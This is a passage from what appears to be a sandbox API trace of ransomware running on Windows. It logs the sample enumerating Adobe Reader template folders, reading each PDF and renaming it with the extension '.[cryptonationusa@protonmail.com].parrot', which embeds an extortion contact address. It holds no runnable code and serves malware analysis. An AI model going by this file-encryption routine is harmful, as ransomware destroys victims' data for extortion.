10.0\\reader\\idtemplates\\rum\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.314] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.314] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.314] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.314] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.314] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.314] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.314] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e071, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.315] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.315] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.316] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.316] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e071, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1e071, lpOverlapped=0x0) returned 1 [0247.319] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.324] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.344] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.344] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.345] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.346] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d17f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1d17f, lpOverlapped=0x0) returned 1 [0247.348] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.355] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.361] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.361] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.362] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.362] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.362] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.362] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.362] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x161fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.363] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.363] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.364] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.364] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x161fc, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x161fc, lpOverlapped=0x0) returned 1 [0247.367] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.371] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.378] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.378] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.379] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.380] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13d46, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13d46, lpOverlapped=0x0) returned 1 [0247.381] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.385] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.391] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.391] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.392] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.392] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.392] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.392] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.392] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6133, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.393] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.393] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.394] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.394] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6133, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6133, lpOverlapped=0x0) returned 1 [0247.396] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.397] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.404] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.404] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.405] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.405] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5aac, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5aac, lpOverlapped=0x0) returned 1 [0247.406] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.407] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.412] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.412] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.412] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.412] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.412] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.412] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.412] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.413] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.413] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.414] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.414] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x107e2, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x107e2, lpOverlapped=0x0) returned 1 [0247.416] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.422] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.428] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.428] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.430] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.430] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x102c8, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x102c8, lpOverlapped=0x0) returned 1 [0247.432] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.435] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.441] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.441] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.441] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.441] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.441] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.441] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.441] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12696, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.442] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.443] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.444] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12696, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x12696, lpOverlapped=0x0) returned 1 [0247.446] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.450] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.505] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.505] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.507] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11c35, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x11c35, lpOverlapped=0x0) returned 1 [0247.509] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.513] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.519] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.519] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.520] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.520] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, 